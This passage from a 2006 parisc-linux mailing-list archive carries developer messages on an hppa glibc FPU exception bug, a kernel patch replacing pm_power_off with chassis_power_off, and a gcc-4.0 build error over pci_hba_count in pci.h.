X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: sTq/Y8lleSEkdr6WZHQhaXN1IGRvb8CC
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23390

On Tue, Jan 17, 2006 at 03:48:51PM -0500, John David Anglin wrote:
> > On Sun, Jan 08, 2006 at 02:13:03PM -0500, John David Anglin wrote:
> > > > in fr22 until after the SIGFPE.  It sort of looks like the exception
> > > > must be in __ieee754_acos.
> > > 
> > > Take that back.  The function calls feholdexcept (envp=0xc04fba68)
> > > and then fesetround (round=0) before the arithmetic exception.
> > > 
> > > (gdb) p/x *envp
> > > $2 = {__status_word = 0x1, __exception = {0x40000360, 0x1, 0x40000360,
> > >     0x4033af90, 0x4084c6b8, 0x4084c6b8, 0x0}}
> > 
> > There could be problems here. I noted in the release email that the FPU
> > stuff is not working well with the new compiler. I need to debug this.
> > If you can find a testcase then it would rock e.g. feholdexcept
> > and fesetround that doesn't set the right bits.
> 
> Randolph has a patch which he sent around a few days ago.  The
> problem appears to be a sequencing issue with respect to fr0.
> He dropped saving and restoring fr1, fr2 and fr3.  Debian may be
> going to roll an hppa libc update in the near future.  It would
> be nice to also get your other fixes into this update as well.

Yes, I saw that patch, but Randolph didn't say why it fixes
the issue. There *was* a sequencing issue wrt to fr1,2,3 but we fixed
that in CVS. You have to restore fr0 last, and save it first, it's
not an impossible task :)
 
> As I understand it, the exception bug causes a segmentation fault
> in uic.  This blocks building qt-xfree86-free which blocks kde.
> Thus, the issue is quite urgent.

That is a bummer.

I'll post my debian patches soon then.

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] [RF{C,T} PATCH] chassis_power_off
Date: Wed, 18 Jan 2006 00:24:56 -0500
Lines: 88
Approved: news@gmane.org
Message-ID: <20060118052456.GJ4049@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623996 17981 80.91.229.3 (22 Nov 2014 02:39:56 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:56 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jan 2006 05:26:22 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx028) with SMTP; 18 Jan 2006 06:26:22 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 729FD7D70D;
	Tue, 17 Jan 2006 22:26:16 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16945-03; Tue, 17 Jan 2006 22:26:16 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4A5F47D70F;
	Tue, 17 Jan 2006 22:26:15 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E496A7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:26:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 16722-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:26:09 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id 286597D705
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:26:09 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 4185623E85
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:26:06 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09276-03 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:26:06 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id F173423E84
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:26:05 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 27D293B05E; Wed, 18 Jan 2006 00:24:56 -0500 (EST)
Content-Disposition: inline
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: KLS/Y2p2eSEkbr6WZHQhaXN1IGRvb0D1
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23391

I *think* this should fix halt -p with 2.6.16-rc1. Comments please...
The motivation for this is a recent change to sys_reboot(),

http://www.kernel.org/git/?p=linux/kernel/git/torvalds/linux-2.6.git;a=blobdiff;h=d8e49e659027f70de633b69d2efd13132a428bb5;hp=eecf84526afeca15c7e82894c5c3e898239fa062;hb=5e38291d80086f6972f471c7caffa03184de0bf0;f=kernel/sys.c

If nobody raises an objection to this, I'll commit it.

Cheers,
	Kyle

Index: arch/parisc/kernel/process.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/process.c,v
retrieving revision 1.26
diff -u -d -p -r1.26 process.c
--- arch/parisc/kernel/process.c	17 Jan 2006 14:50:31 -0000	1.26
+++ arch/parisc/kernel/process.c	18 Jan 2006 05:13:34 -0000
@@ -54,12 +54,6 @@
 #include <asm/uaccess.h>
 #include <asm/unwind.h>
 
-/*
- * Power off function, if any
- */ 
-void (*pm_power_off)(void);
-EXPORT_SYMBOL(pm_power_off);
-
 void default_idle(void)
 {
 	barrier();
@@ -142,6 +136,7 @@ void machine_halt(void)
 	*/
 }
 
+void (*chassis_power_off)(void);
 
 /*
  * This routine is called from sys_reboot to actually turn off the
@@ -150,8 +145,8 @@ void machine_halt(void)
 void machine_power_off(void)
 {
 	/* If there is a registered power off handler, call it. */
-	if(pm_power_off)
-		pm_power_off();
+	if (chassis_power_off)
+		chassis_power_off();
 
 	/* Put the soft power button back under hardware control.
 	 * If the user had already pressed the power button, the
@@ -167,6 +162,8 @@ void machine_power_off(void)
 	       KERN_EMERG "Please power this system off now.");
 }
 
+void (*pm_power_off)(void) = machine_power_off;
+EXPORT_SYMBOL(pm_power_off);
 
 /*
  * Create a kernel thread
Index: drivers/parisc/lasi.c
===================================================================
RCS file: /var/cvs/linux-2.6/drivers/parisc/lasi.c,v
retrieving revision 1.21
diff -u -d -p -r1.21 lasi.c
--- drivers/parisc/lasi.c	17 Jan 2006 19:40:39 -0000	1.21
+++ drivers/parisc/lasi.c	18 Jan 2006 05:13:36 -0000
@@ -166,6 +166,7 @@ static void lasi_power_off(void)
 int __init
 lasi_init_chip(struct parisc_device *dev)
 {
+	extern void (*chassis_power_off)(void);
 	struct gsc_asic *lasi;
 	struct gsc_irq gsc_irq;
 	int ret;
@@ -222,7 +223,7 @@ lasi_init_chip(struct parisc_device *dev
 	 * ensure that only the first LASI (the one controlling the power off)
 	 * should set the HPA here */
 	lasi_power_off_hpa = lasi->hpa;
-	pm_power_off = lasi_power_off;
+	chassis_power_off = lasi_power_off;
 	
 	return ret;
 }
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [RF{C,T} PATCH] chassis_power_off
Date: Wed, 18 Jan 2006 00:34:14 -0500
Lines: 12
Approved: news@gmane.org
Message-ID: <20060118053414.GL4049@quicksilver.road.mcmartin.ca>
References: <20060118052456.GJ4049@quicksilver.road.mcmartin.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623997 17986 80.91.229.3 (22 Nov 2014 02:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:57 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 18 Jan 2006 05:35:32 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx069) with SMTP; 18 Jan 2006 06:35:32 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 2C6D97D70D;
	Tue, 17 Jan 2006 22:35:29 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17114-09; Tue, 17 Jan 2006 22:35:29 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 28ED07D721;
	Tue, 17 Jan 2006 22:35:28 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 834057D70D
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:35:25 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 17114-05 for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:35:25 -0700 (MST)
Original-Received: from fattire.cabal.ca (cabal.ca [134.117.69.58])
	by free.linux.hp.com (Postfix) with ESMTP id DC07D7D70A
	for <parisc-linux@lists.parisc-linux.org>;
	Tue, 17 Jan 2006 22:35:24 -0700 (MST)
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by fattire.cabal.ca (Postfix) with ESMTP id 5188823E85
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:35:24 -0500 (EST)
Original-Received: from fattire.cabal.ca ([127.0.0.1])
	by localhost (fattire [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 09429-01 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:35:24 -0500 (EST)
Original-Received: from quicksilver.road.mcmartin.ca
	(CPE0004ace53177-CM0012c9a9a56e.cpe.net.cable.rogers.com
	[70.25.68.204])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(Client CN "quicksilver.road.mcmartin.ca",
	Issuer "There Is No Cabal Certificate Authority" (verified OK))
	by fattire.cabal.ca (Postfix) with ESMTP id 09F7223E84
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 18 Jan 2006 00:35:24 -0500 (EST)
Original-Received: by quicksilver.road.mcmartin.ca (Postfix, from userid 1000)
	id 42C1C3B05E; Wed, 18 Jan 2006 00:34:14 -0500 (EST)
Content-Disposition: inline
In-Reply-To: <20060118052456.GJ4049@quicksilver.road.mcmartin.ca>
User-Agent: Mutt/1.5.11
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at cabal.ca
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 87a/Y+4SeSEkN76WZHQhaXN1IGRvb8Ap
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23392

On Wed, Jan 18, 2006 at 12:24:56AM -0500, Kyle McMartin wrote:
> If nobody raises an objection to this, I'll commit it.
>

Oops. Fat fingers made me whack 'enter' before specifying include on the
atomic commit. If anyone has a problem with this change, I'll back it out. 
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] pci.h pb with gcc-4.0
Date: Thu, 19 Jan 2006 13:44:23 +0100
Lines: 58
Approved: news@gmane.org
Message-ID: <ITCBDZ$237BDD3D61015C37DE6E824ACAF3708B@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416623997 17991 80.91.229.3 (22 Nov 2014 02:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:57 +0000 (UTC)
To: "parisc-linux" <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2006 12:44:34 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx002) with SMTP; 19 Jan 2006 13:44:34 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3B03F7D703;
	Thu, 19 Jan 2006 05:44:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29742-07; Thu, 19 Jan 2006 05:44:31 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 05F237D70D;
	Thu, 19 Jan 2006 05:44:30 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D4E1F7D6EF
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 05:44:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29759-02 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 05:44:26 -0700 (MST)
Original-Received: from guri.is.scarlet.be (guri.is.scarlet.be [193.74.71.22])
	by free.linux.hp.com (Postfix) with ESMTP id BE9B77D63B
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 05:44:25 -0700 (MST)
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by guri.is.scarlet.be  with ESMTP id k0JCiNI09956 
	for <parisc-linux@lists.parisc-linux.org>; 
	Thu, 19 Jan 2006 13:44:23 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 5ey9YyYceSEkcL6WZHQhaXN1IGRvb4Bz
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23393

hello *,

mmm don't know if because I use gcc 4.0 but here is a pb I encounter to b=
uild
2.6.16-rc1-pa1 (+patch):

  gcc -Wp,-MD,arch/parisc/kernel/.pci.o.d  -nostdinc -isystem
/usr/lib/gcc/hppa-linux-gnu/4.0.3/include -D__KERNEL__ -Iinclude -Iinc
lude2 -I/CAD/linux-2.6.16-rc1-pa1/include -include include/linux/autoconf=
.h
-I/CAD/linux-2.6.16-rc1-pa1/arch/parisc/kernel -Iarch/pa
risc/kernel -Wall -Wundef -Wstrict-prototypes -Wno-trigraphs
-fno-strict-aliasing -fno-common -ffreestanding -O2 -fomit-frame-pointe
r -pipe -mno-space-regs -mfast-indirect-calls -mdisable-fpregs
-ffunction-sections -march=3D2.0 -mschedule=3D8000 -Wdeclaration-after-st=

atement -Wno-pointer-sign  -D"KBUILD_STR(s)=3D#s"
-D"KBUILD_BASENAME=3DKBUILD_STR(pci)"  -D"KBUILD_MODNAME=3DKBUILD_STR(pci=
)" -c -o
arch/p
arisc/kernel/.tmp_pci.o /CAD/linux-2.6.16-rc1-pa1/arch/parisc/kernel/pci.=
c
/CAD/linux-2.6.16-rc1-pa1/arch/parisc/kernel/pci.c:56: error: static
declaration of \xe2\x80\x98pci_hba_count\xe2\x80\x99 follows no
n-static declaration
include2/asm/pci.h:206: error: previous declaration of
\xe2\x80\x98pci_hba_count\xe2\x80\x99 was here

as it doesn't seems to be used elsewhere I just apply following matter:
--- linux-2.6.16-rc1-pa1/include/asm-parisc/pci.h       2006-01-17
19:48:12.000000000 +0100
+++ linux-2.6.16-rc1-pa1-20060119/include/asm-parisc/pci.h      2006-01-1=
8
17:51:07.000000000 +0100
@@ -203,7 +203,7 @@
 */
 extern struct pci_port_ops *pci_port;
 extern struct pci_bios_ops *pci_bios;
-extern int pci_hba_count;
+/* extern int pci_hba_count; */
 extern struct pci_hba_data *parisc_pci_hba[];
 
 #ifdef CONFIG_PCI
=3D=3D=3D=3D<>=3D=3D=3D=3D

If agreed please fill free to apply (no cvs access ;-( )

TIA,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] pci.h pb with gcc-4.0
Date: Thu, 19 Jan 2006 11:28:21 -0700
Lines: 23
Approved: news@gmane.org
Message-ID: <20060119182821.GC2628@colo.lackof.org>
References: <ITCBDZ$237BDD3D61015C37DE6E824ACAF3708B@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623997 17994 80.91.229.3 (22 Nov 2014 02:39:57 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:57 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 19 Jan 2006 18:19:04 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx019) with SMTP; 19 Jan 2006 19:19:04 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 18AAC7D77F;
	Thu, 19 Jan 2006 11:19:01 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01973-10; Thu, 19 Jan 2006 11:19:00 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 70CA67D780;
	Thu, 19 Jan 2006 11:19:00 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E38467D77E
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 11:18:57 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01966-08 for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 11:18:57 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4FE657D77D
	for <parisc-linux@lists.parisc-linux.org>;
	Thu, 19 Jan 2006 11:18:57 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id A07B536001B;
	Thu, 19 Jan 2006 11:28:21 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 08998-05; Thu, 19 Jan 2006 11:28:21 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 5C97136001A; Thu, 19 Jan 2006 11:28:21 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <ITCBDZ$237BDD3D61015C37DE6E824ACAF3708B@scarlet.be>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: T729YzcneSEkYb6WZHQhaXN1IGRvb0Ba
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23394

On Thu, Jan 19, 2006 at 01:44:23PM +0100, Joel Soete wrote:
> hello *,
> 
> mmm don't know if because I use gcc 4.0 but here is a pb I encounter to build
> 2.6.16-rc1-pa1 (+patch):
...
> /CAD/linux-2.6.16-rc1-pa1/arch/parisc/kernel/pci.c:56: error: static
> declaration of \xe2\x80\x98pci_hba_count\xe2\x80\x99 follows no
> n-static declaration
> include2/asm/pci.h:206: error: previous declaration of
> \xe2\x80\x98pci_hba_count\xe2\x80\x99 was here

We can also remove the extern declaration of parisc_pci_hbap[].
I'll fix this by this weekend.

thanks,
grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
